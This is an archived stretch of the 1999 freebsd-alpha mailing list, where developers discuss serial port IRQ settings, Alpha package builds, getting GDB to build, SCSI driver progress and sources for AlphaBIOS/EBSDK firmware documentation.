From: William Woods [mailto:wwoods@cybcon.com] > Sent: Wednesday, April 21, 1999 3:23 PM > To: Doug Rabson; Jason Thorpe > Cc: Jordan K. Hubbard; Alain G. Fabry; freebsd-alpha@FreeBSD.ORG > Subject: RE: External modems on Alpha..... > > > I was playing around in the SRM console and I see these things: > > doing a "show con*" > > brings up this........ > > console graphics > control_disfd enable > control_idema enable > control_irq11 scsi <<---- > control_irq12 mouse <<---- > control_scsi_term internal > controlp on > > > What interests me here is the "control_irq" lines. I notice there > is no line for either com1 or com2. Now, I tries a "set > control_irq4 com1" assuming that this would set irq4 to com1, > but when I rebooted the setting was no longer there. > > I am going to experament with setting this, not rebooting and > seeing if this takes care of any of the problems. If it does, I > am going to assume that I have a dead internal battery, replace > it and try again....what ya think, sound like n idea that might work? > > > -----Original Message----- > > From: Doug Rabson [mailto:dfr@nlsystems.com] > > Sent: Wednesday, April 21, 1999 3:18 PM > > To: Jason Thorpe > > Cc: William Woods; Jordan K. Hubbard; Alain G. Fabry; > > freebsd-alpha@FreeBSD.ORG > > Subject: Re: External modems on Alpha..... > > > > > > On Wed, 21 Apr 1999, Jason Thorpe wrote: > > > > > On Wed, 21 Apr 1999 20:07:20 +0100 (BST) > > > Doug Rabson wrote: > > > > > > > How does the NetBSD kernel cope with this problem on the > > alpha? I can't > > > > see anything obvious in my copy of the source but it is > > somewhat dated. > > > > > > We (NetBSD) don't deal too well with it, either. Although, our > > `com' driver > > > seems to be less prone to this problem due it its structure. > > I've driven > > > a serial port on an AlphaStation 200 at 56k before, no problem. > > > > Perhaps it might be worth trying to collaborate on a lazy masking > > interrupt scheme for *BSD/alpha in the future. At this level, the two > > systems are virtually identical (not surprising). > > > > Incidentally, you might also like to pick up the floating point software > > completion code from FreeBSD/alpha if you haven't already. > > > > -- > > Doug Rabson Mail: dfr@nlsystems.com > > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 22 6: 3:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id EF1A3151CA for ; Thu, 22 Apr 1999 06:03:14 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id IAA16654; Thu, 22 Apr 1999 08:00:45 -0500 (CDT) Date: Thu, 22 Apr 1999 08:00:45 -0500 (CDT) From: Steve Price To: freebsd-alpha@freebsd.org Subject: FreeeBSD/Alpha ports collection Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've finally made good on a promise that I made many moons ago. Anyone interested in using pre-packaged ports on their FreeBSD/ Alpha can now obtain them here: ftp://ftp.freebsd.org/pub/FreeBSD/ports/alpha/packages What's there now is my first full build. It is a meager showing with only about half of the 2200 ports present. I've fixed a few little problems in my build script and am currently running another build. It is nearing the end of ports/lang and it has already packaged 900+ ports so there should be quite a few more there the next time. Some of them are still pretty rough and may not actually run since I couldn't really test all of them thoroughly. I welcome any and all comments/suggestions/flames. You can send them to me (steve@freebsd.org) or this list as appropriate. To start with and hardware/time permitting I'm going to try and get out a new set about once a week. I'm also making a concerted effort to cleanup the build scripts so that they others may use them for similar endeavors. A special thanks to Jordan, Mike Smith, and the rest of the WC gang for building, setting up, and sending me a killer piece of hardware for doing the builds. An honorable mention also goes to Satoshi Asami for populating the ftp site with the packages that I sent to him. Enjoy! -steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 22 15:15:41 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from pluto.plutotech.com (mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (Postfix) with ESMTP id E4C1F14D74 for ; Thu, 22 Apr 1999 15:15:38 -0700 (PDT) (envelope-from gibbs@plutotech.com) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.9.2/8.9.1) with ESMTP id QAA84538 for ; Thu, 22 Apr 1999 16:13:08 -0600 (MDT) (envelope-from gibbs@plutotech.com) Message-Id: <199904222213.QAA84538@pluto.plutotech.com> X-Mailer: exmh version 2.0.2 2/24/98 To: alpha@FreeBSD.org Subject: GDB??? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 22 Apr 1999 16:03:30 -0600 From: "Justin T. Gibbs" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm trying to debug a problem with aicasm on the alpha and was saddened to see that gdb is missing from our src tree build. Does anyone have a pointer on how I might build gdb correctly from FSF 4.18 sources or perhaps have binary that will work with EGCS build alpha binaries? -- Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 22 17:20: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.rdc1.az.home.com (ha1.rdc1.az.home.com [24.1.240.66]) by hub.freebsd.org (Postfix) with ESMTP id A50BE15983 for ; Thu, 22 Apr 1999 17:20:01 -0700 (PDT) (envelope-from smckean@home.com) Received: from cx11732-b ([24.6.164.42]) by mail.rdc1.az.home.com (InterMail v4.00.03 201-229-104) with SMTP id <19990423001732.FUEH25123.mail.rdc1.az.home.com@cx11732-b> for ; Thu, 22 Apr 1999 17:17:32 -0700 Message-ID: <008e01be8d1f$2e5b71c0$2aa40618@cx11732-b.chnd1.az.home.com> From: "Darius" To: Subject: Unsubscribe Date: Thu, 22 Apr 1999 17:21:07 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_008B_01BE8CE4.81E2A920" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_008B_01BE8CE4.81E2A920 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Unsubscribe ------=_NextPart_000_008B_01BE8CE4.81E2A920 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

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------=_NextPart_000_008B_01BE8CE4.81E2A920-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 22 19:12:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from pluto.plutotech.com (mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (Postfix) with ESMTP id B68C414CF8 for ; Thu, 22 Apr 1999 19:12:35 -0700 (PDT) (envelope-from gibbs@plutotech.com) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.9.2/8.9.1) with ESMTP id UAA87936 for ; Thu, 22 Apr 1999 20:10:05 -0600 (MDT) (envelope-from gibbs@plutotech.com) Message-Id: <199904230210.UAA87936@pluto.plutotech.com> X-Mailer: exmh version 2.0.2 2/24/98 To: alpha@FreeBSD.org Subject: aic7xxx driver support coming soon. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 22 Apr 1999 20:00:25 -0600 From: "Justin T. Gibbs" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org After assembling the sequencer file under x86: Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #1: Thu Apr 22 19:37:58 MDT 1999 root@subway.plutotech.com:/usr/src/sys/compile/subway Digital Personal Workstation (Miata) Digital Personal WorkStation 433au, 432MHz 8192 byte page size, 1 processor. EV56 (21164A) major=7 minor=0 extensions=0x1 ... pcib0: <2117x PCI host bus adapter> on cia0 pci0: on pcib0 ... ahc0: at device 10.0 on pci1 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs ahc0: interrupting at CIA irq 20 ... da2 at ahc0 bus 0 target 0 lun 0 da2: Fixed Direct Access SCSI-2 device da2: 40.000MB/s transfers (40.000MHz, offset 15), Tagged Queueing Enabled da2: 4340MB (8888924 512 byte sectors: 255H 63S/T 553C) As soon as I can get a version of GDB that works on the alpha and debug aicasm, the driver should be good to go. -- Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 22 20:54:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 1C7FD14EF9 for ; Thu, 22 Apr 1999 20:54:19 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id UAA51322 for ; Thu, 22 Apr 1999 20:51:42 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: freebsd-alpha@freebsd.org Subject: "Daniel J. Frasnelli": Info for the FreeBSD guys.. (fwd) Date: Thu, 22 Apr 1999 20:51:42 -0700 Message-ID: <51320.924839502@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've been pursuing another contact at the AlphaLinux site and this is what one of their guys has to say. If you're interested in this, please follow up with Rich Payne (Doug, at least, should certainly drop him a line and indicate his interest as one of the chief AlphaBIOS/ARC boot troublemakers). Thanks. ------- Forwarded Message Date: Thu, 22 Apr 1999 20:12:09 -0400 (EDT) From: "Daniel J. Frasnelli" X-Sender: dfrasnel@localhost.localdomain To: jkh@freebsd.org Subject: Info for the FreeBSD guys.. (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Good news, sir. Hopefully Compaq will show some mercy to *BSD folks and release this information :) Daniel - ---------- Forwarded message ---------- Date: Thu, 22 Apr 1999 20:02:55 -0400 (EDT) From: Rich Payne To: Daniel J. Frasnelli Subject: Info for the FreeBSD guys.. OK, I've put two files into ftp.alphalinux.org/people/rpayne/ for your BSD friend (sorry but I nuked his email address at some point). One is just the marketing pamphlet of the EBSDK, the other is the original ARC spec. I'm working on getting more out, the problem is that it is still a Compaq owned/copyrighted thingy, API does not own it. I'm seeing Maddog this weekend and I'll bring it up with him, I'm pretty sure Compaq would be willing to donate some of the SDKs to the BSD guys... Rich Payne rpayne@alphalinux.org www.alphalinux.org ------- End of Forwarded Message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 0:34:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 7FEAA1517D for ; Fri, 23 Apr 1999 00:34:52 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id IAA03495; Fri, 23 Apr 1999 08:38:29 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Fri, 23 Apr 1999 08:38:29 +0100 (BST) From: Doug Rabson To: "Justin T. Gibbs" Cc: alpha@freebsd.org Subject: Re: GDB??? In-Reply-To: <199904222213.QAA84538@pluto.plutotech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 22 Apr 1999, Justin T. Gibbs wrote: > I'm trying to debug a problem with aicasm on the alpha and was saddened > to see that gdb is missing from our src tree build. Does anyone have > a pointer on how I might build gdb correctly from FSF 4.18 sources or > perhaps have binary that will work with EGCS build alpha binaries? I have some patches to 4.17 but they don't work too well with egcs. Is 4.18 actually out? If so, I think I'll take a stab at importing it into current fairly soon and I will make sure it works for the alpha at that time. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 1: 0:27 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from spinner.netplex.com.au (spinner.netplex.com.au [202.12.86.3]) by hub.freebsd.org (Postfix) with ESMTP id EAAC714E8C for ; Fri, 23 Apr 1999 01:00:22 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by spinner.netplex.com.au (Postfix) with ESMTP id 43AD61F2A; Fri, 23 Apr 1999 15:57:46 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.0.2 2/24/98 To: Doug Rabson Cc: "Justin T. Gibbs" , alpha@freebsd.org Subject: Re: GDB??? In-reply-to: Your message of "Fri, 23 Apr 1999 08:38:29 +0100." Date: Fri, 23 Apr 1999 15:57:46 +0800 From: Peter Wemm Message-Id: <19990423075752.43AD61F2A@spinner.netplex.com.au> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Doug Rabson wrote: > On Thu, 22 Apr 1999, Justin T. Gibbs wrote: > > > I'm trying to debug a problem with aicasm on the alpha and was saddened > > to see that gdb is missing from our src tree build. Does anyone have > > a pointer on how I might build gdb correctly from FSF 4.18 sources or > > perhaps have binary that will work with EGCS build alpha binaries? > > I have some patches to 4.17 but they don't work too well with egcs. Is > 4.18 actually out? If so, I think I'll take a stab at importing it into > current fairly soon and I will make sure it works for the alpha at that > time. Sure is.. -r--r--r-- 1 root 10 5996836 Apr 24 1996 gdb-4.16.tar.gz -r--r--r-- 1 root 10 8972436 Apr 28 1998 gdb-4.17.tar.gz -r--r--r-- 1 root 10 11657032 Apr 9 15:46 gdb-4.18.tar.gz Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:21:32 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 3E67414C44 for ; Fri, 23 Apr 1999 15:21:28 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id PAA33414; Fri, 23 Apr 1999 15:18:38 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Rich Payne Cc: Alpha List , "Daniel J. Frasnelli" In-reply-to: Your message of "Fri, 23 Apr 1999 13:36:49 EDT." Date: Fri, 23 Apr 1999 15:18:38 -0700 Message-ID: <33412.924905918@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I just talked with one of our engineers here about the docs/SDK > etc... for AlphaBIOS. Evidently there is no documentation for AlphaBIOS, > the docs being the source itself, the problem being that parts of the > source were written/are copyrighted by Microsoft. So in order to get those > you'd have to sign an NDA with MS. Not good. Grumble. That's quite unfortunate. :( Thanks for letting me know, in any case. > The EBSDK is available from Compaq (1-800-Digital) for $79, the license of > that seems to be fairly liberal (even BSD like I've been told). This > includes the PAL code and documentation, between this and the sources to > MILO > you should be able to construct you're own boot loader (so I've been > told). EBSDK? I'm afraid I don't know the term - is this a fancier name for ARC, or are we talking about ARC and AlphaBIOS in the same breath in paragragh 1? I only know of 3 BIOS alternatives, that being ARC/AlphaBIOS and SRM, and since we already support SRM that basically leaves the other two (one? I'm not sure if ARC is deprecated) as targets. This is especially painful in light of the Samsung decision to go with AlphaBIOS on its newer boards. If EBSDK would indeed be of some help here, do you have a part number? I dread just cold-calling 1-800-Digital and navigating the PBX maze without a map. :) Thanks! - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:37: 6 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from labyrinth.net (ns.labyrinth.net [63.66.160.10]) by hub.freebsd.org (Postfix) with SMTP id 036BB14CA9 for ; Fri, 23 Apr 1999 15:36:57 -0700 (PDT) (envelope-from dfrasnel@csee.wvu.edu) Received: from ppp138.mgtn.labyrinth.net [63.66.161.138] by labyrinth.net with ESMTP (SMTPD32-4.06) id A56132F601EE; Fri, 23 Apr 1999 18:34:09 EST5EDT Date: Fri, 23 Apr 1999 18:33:25 -0400 (EDT) From: "Daniel J. Frasnelli" X-Sender: dfrasnel@localhost.localdomain To: "Jordan K. Hubbard" Cc: Rich Payne , Alpha List Subject: EBSDK discussion In-Reply-To: <33412.924905918@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Grumble. That's quite unfortunate. :( Thanks for letting me know, > in any case. Basically, you will notice that the AlphaBIOS firmware strongly resembles dosshell or early versions of Windows, depending on how you look at it. Obviously MS provided some information for interfacing with an NT boot loader, but it makes one wonder if most of DEC's technology licensing fees were for that ol 'look and feel' of an MS product. > EBSDK? I'm afraid I don't know the term - is this a fancier name for > ARC, or are we talking about ARC and AlphaBIOS in the same breath in > paragragh 1? I only know of 3 BIOS alternatives, that being I am sure Rich will correct me if I am wrong, but the EBSDK is the Evaluation Board Software Development Kit. An evaluation board (EB) from DEC is just like a prototyping board from any other workstation vendor - something to let developers and ISV's get started on system development pre-production. With few exceptions (again, seak up here Rich :) an evaluation board retains compatibility with firmware on production systems like the 300XL, PWS (Miata), etc. > ARC/AlphaBIOS and SRM, and since we already support SRM that basically > leaves the other two (one? I'm not sure if ARC is deprecated) as ARC is still the only alternative on systems like the Jenson and Multia, as I recall. And as everyone knows, those suckers are flying around all over the used workstation market right now. > targets. This is especially painful in light of the Samsung decision > to go with AlphaBIOS on its newer boards. Microsoft talks, big companies snap to attention. Sorry, had to point that out :) > If EBSDK would indeed be of some help here, do you have a part number? > I dread just cold-calling 1-800-Digital and navigating the PBX maze > without a map. :) (perks up) Hmm? Somebody say they want PBX schemats? :) --- Daniel J. Frasnelli INFOSEC analyst and cryptographer He who wonders discovers that this in itself is wonder. -- M.C. Escher To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:38:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 350C114CA9 for ; Fri, 23 Apr 1999 15:38:13 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id PAA06006; Fri, 23 Apr 1999 15:28:58 -0700 Date: Fri, 23 Apr 1999 15:28:58 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: "Jordan K. Hubbard" Cc: Rich Payne , Alpha List , "Daniel J. Frasnelli" Subject: Re: your mail In-Reply-To: <33412.924905918@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > The EBSDK is available from Compaq (1-800-Digital) for $79, the license of > > that seems to be fairly liberal (even BSD like I've been told). This > > includes the PAL code and documentation, between this and the sources to > > MILO > > you should be able to construct you're own boot loader (so I've been > > told). > > EBSDK? I'm afraid I don't know the term - is this a fancier name for Evaluation Board SDK. Old version of MILO I believe. But isn't this only for the SRM? > ARC, or are we talking about ARC and AlphaBIOS in the same breath in > paragragh 1? I only know of 3 BIOS alternatives, that being > ARC/AlphaBIOS and SRM, and since we already support SRM that basically > leaves the other two (one? I'm not sure if ARC is deprecated) as > targets. This is especially painful in light of the Samsung decision > to go with AlphaBIOS on its newer boards. > > If EBSDK would indeed be of some help here, do you have a part number? > I dread just cold-calling 1-800-Digital and navigating the PBX maze > without a map. :) > > Thanks! > > - Jordan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:43:32 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id CEC7214E5D for ; Fri, 23 Apr 1999 15:43:30 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id PAA06032; Fri, 23 Apr 1999 15:40:36 -0700 Date: Fri, 23 Apr 1999 15:40:35 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: "Daniel J. Frasnelli" Cc: "Jordan K. Hubbard" , Rich Payne , Alpha List Subject: Re: EBSDK discussion In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > ARC/AlphaBIOS and SRM, and since we already support SRM that basically > > leaves the other two (one? I'm not sure if ARC is deprecated) as > ARC is still the only alternative on systems like the > Jenson and Multia, as I recall. And as everyone knows, those suckers are > flying around all over the used workstation market right now. No, Multia happily has SRM. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:46: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id 6319B14CA9 for ; Fri, 23 Apr 1999 15:46:04 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id PAA27967; Fri, 23 Apr 1999 15:43:15 -0700 (PDT) Message-Id: <199904232243.PAA27967@lestat.nas.nasa.gov> To: mjacob@feral.com Cc: "Jordan K. Hubbard" , Rich Payne , Alpha List , "Daniel J. Frasnelli" Subject: Re: your mail Reply-To: Jason Thorpe From: Jason Thorpe Date: Fri, 23 Apr 1999 15:43:14 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 23 Apr 1999 15:28:58 -0700 (PWT) Matthew Jacob wrote: > > EBSDK? I'm afraid I don't know the term - is this a fancier name for > > Evaluation Board SDK. Old version of MILO I believe. But isn't this only > for the SRM? Not an old version of MILO. But, apparently, the PALcode on EBDSK is what the MILO PALcode was fashioned after. Unfortunately, the PALcode on the EBDSK is so amazingly buggy (according to someone who has done rather significant PALcode hacking for an Alpha-based supercomputer) that it's more or less not usable. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:47: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id C724814CA9 for ; Fri, 23 Apr 1999 15:47:06 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id PAA27987; Fri, 23 Apr 1999 15:44:29 -0700 (PDT) Message-Id: <199904232244.PAA27987@lestat.nas.nasa.gov> To: "Daniel J. Frasnelli" Cc: "Jordan K. Hubbard" , Rich Payne , Alpha List Subject: Re: EBSDK discussion Reply-To: Jason Thorpe From: Jason Thorpe Date: Fri, 23 Apr 1999 15:44:29 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 23 Apr 1999 18:33:25 -0400 (EDT) "Daniel J. Frasnelli" wrote: > ARC is still the only alternative on systems like the > Jenson and Multia, as I recall. And as everyone knows, those suckers are > flying around all over the used workstation market right now. ..except you can always get SRM for Jensen and Multia. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:47:23 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from cimlogic.com.au (cimlog.lnk.telstra.net [139.130.51.31]) by hub.freebsd.org (Postfix) with ESMTP id 3920214CA9 for ; Fri, 23 Apr 1999 15:47:19 -0700 (PDT) (envelope-from jb@cimlogic.com.au) Received: (from jb@localhost) by cimlogic.com.au (8.9.1/8.9.1) id IAA15216; Sat, 24 Apr 1999 08:49:29 +1000 (EST) (envelope-from jb) From: John Birrell Message-Id: <199904232249.IAA15216@cimlogic.com.au> Subject: EBSDK In-Reply-To: <33412.924905918@zippy.cdrom.com> from "Jordan K. Hubbard" at "Apr 23, 1999 3:18:38 pm" To: jkh@zippy.cdrom.com (Jordan K. Hubbard) Date: Sat, 24 Apr 1999 08:49:29 +1000 (EST) Cc: rdp@talisman.alphalinux.org, alpha@FreeBSD.ORG, dfrasnel@csee.wvu.edu X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jordan K. Hubbard wrote: > EBSDK? I'm afraid I don't know the term - is this a fancier name for > ARC, or are we talking about ARC and AlphaBIOS in the same breath in > paragragh 1? I only know of 3 BIOS alternatives, that being > ARC/AlphaBIOS and SRM, and since we already support SRM that basically > leaves the other two (one? I'm not sure if ARC is deprecated) as > targets. This is especially painful in light of the Samsung decision > to go with AlphaBIOS on its newer boards. > > If EBSDK would indeed be of some help here, do you have a part number? > I dread just cold-calling 1-800-Digital and navigating the PBX maze > without a map. :) The EBSDK (Evaluation Board Software Development Kit) was available from the OEM sales group in the old Digital. It was intended as an example implementation that designers could use as a starting point for a new board design. Looking in an old OEM catalog (dated 1994), the part number for the EB64+ design kit was 21A02-11. The description for this part number is... "EB64+ DECchip 61064 (275 MHz) PCI Design Kit (contains only documentation and schematics, no board) for OSF/1 and Windows NT." The list of features contains... "Software support includes industry-standard 512 Kbyte UVPROM containing debug monitor code. Source code listing for all software (including SROM, boot diagnostic ROM montitor) are provided. The monitor provides functions such as file load; read and write memory and registers; memory dump image; transfer control to program; and breakpoints." and further down... "Development code can be developed on a host system and loaded into the EB64+ through the serail line or Ethernet port". There should be a later product like this. -- John Birrell - jb@cimlogic.com.au; jb@freebsd.org http://www.cimlogic.com.au/ CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:47:59 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from labyrinth.net (ns.labyrinth.net [63.66.160.10]) by hub.freebsd.org (Postfix) with SMTP id E0A3914DC6 for ; Fri, 23 Apr 1999 15:47:56 -0700 (PDT) (envelope-from dfrasnel@csee.wvu.edu) Received: from ppp138.mgtn.labyrinth.net [63.66.161.138] by labyrinth.net with ESMTP (SMTPD32-4.06) id A7F46A83018E; Fri, 23 Apr 1999 18:45:08 EST5EDT Date: Fri, 23 Apr 1999 18:44:25 -0400 (EDT) From: "Daniel J. Frasnelli" X-Sender: dfrasnel@localhost.localdomain To: Matthew Jacob Cc: "Jordan K. Hubbard" , Rich Payne , Alpha List Subject: Re: EBSDK discussion In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > No, Multia happily has SRM. Does it have only SRM? My PWS box has ABIOS and SRM, selectable through a menu in the AlphaBIOS config or at the SRM prompt. Of course, this does not mean that I can actually boot using SRM - peripherals such as framebuffer and SCSI controller type limit that. --- Daniel J. Frasnelli INFOSEC analyst and cryptographer He who wonders discovers that this in itself is wonder. -- M.C. Escher To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:51: 9 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from talisman.mv.com (talisman.mv.com [207.22.43.150]) by hub.freebsd.org (Postfix) with ESMTP id D837514CA9 for ; Fri, 23 Apr 1999 15:51:06 -0700 (PDT) (envelope-from rdp@talisman.alphalinux.org) Received: from localhost (rdp@localhost [127.0.0.1]) by talisman.mv.com (8.8.7/8.8.7) with ESMTP id SAA05801; Fri, 23 Apr 1999 18:48:12 -0400 Date: Fri, 23 Apr 1999 18:48:12 -0400 (EDT) From: Rich Payne X-Sender: rdp@talisman.mv.com To: Matthew Jacob Cc: "Jordan K. Hubbard" , Alpha List , "Daniel J. Frasnelli" Subject: Re: your mail In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 23 Apr 1999, Matthew Jacob wrote: > > > > > > The 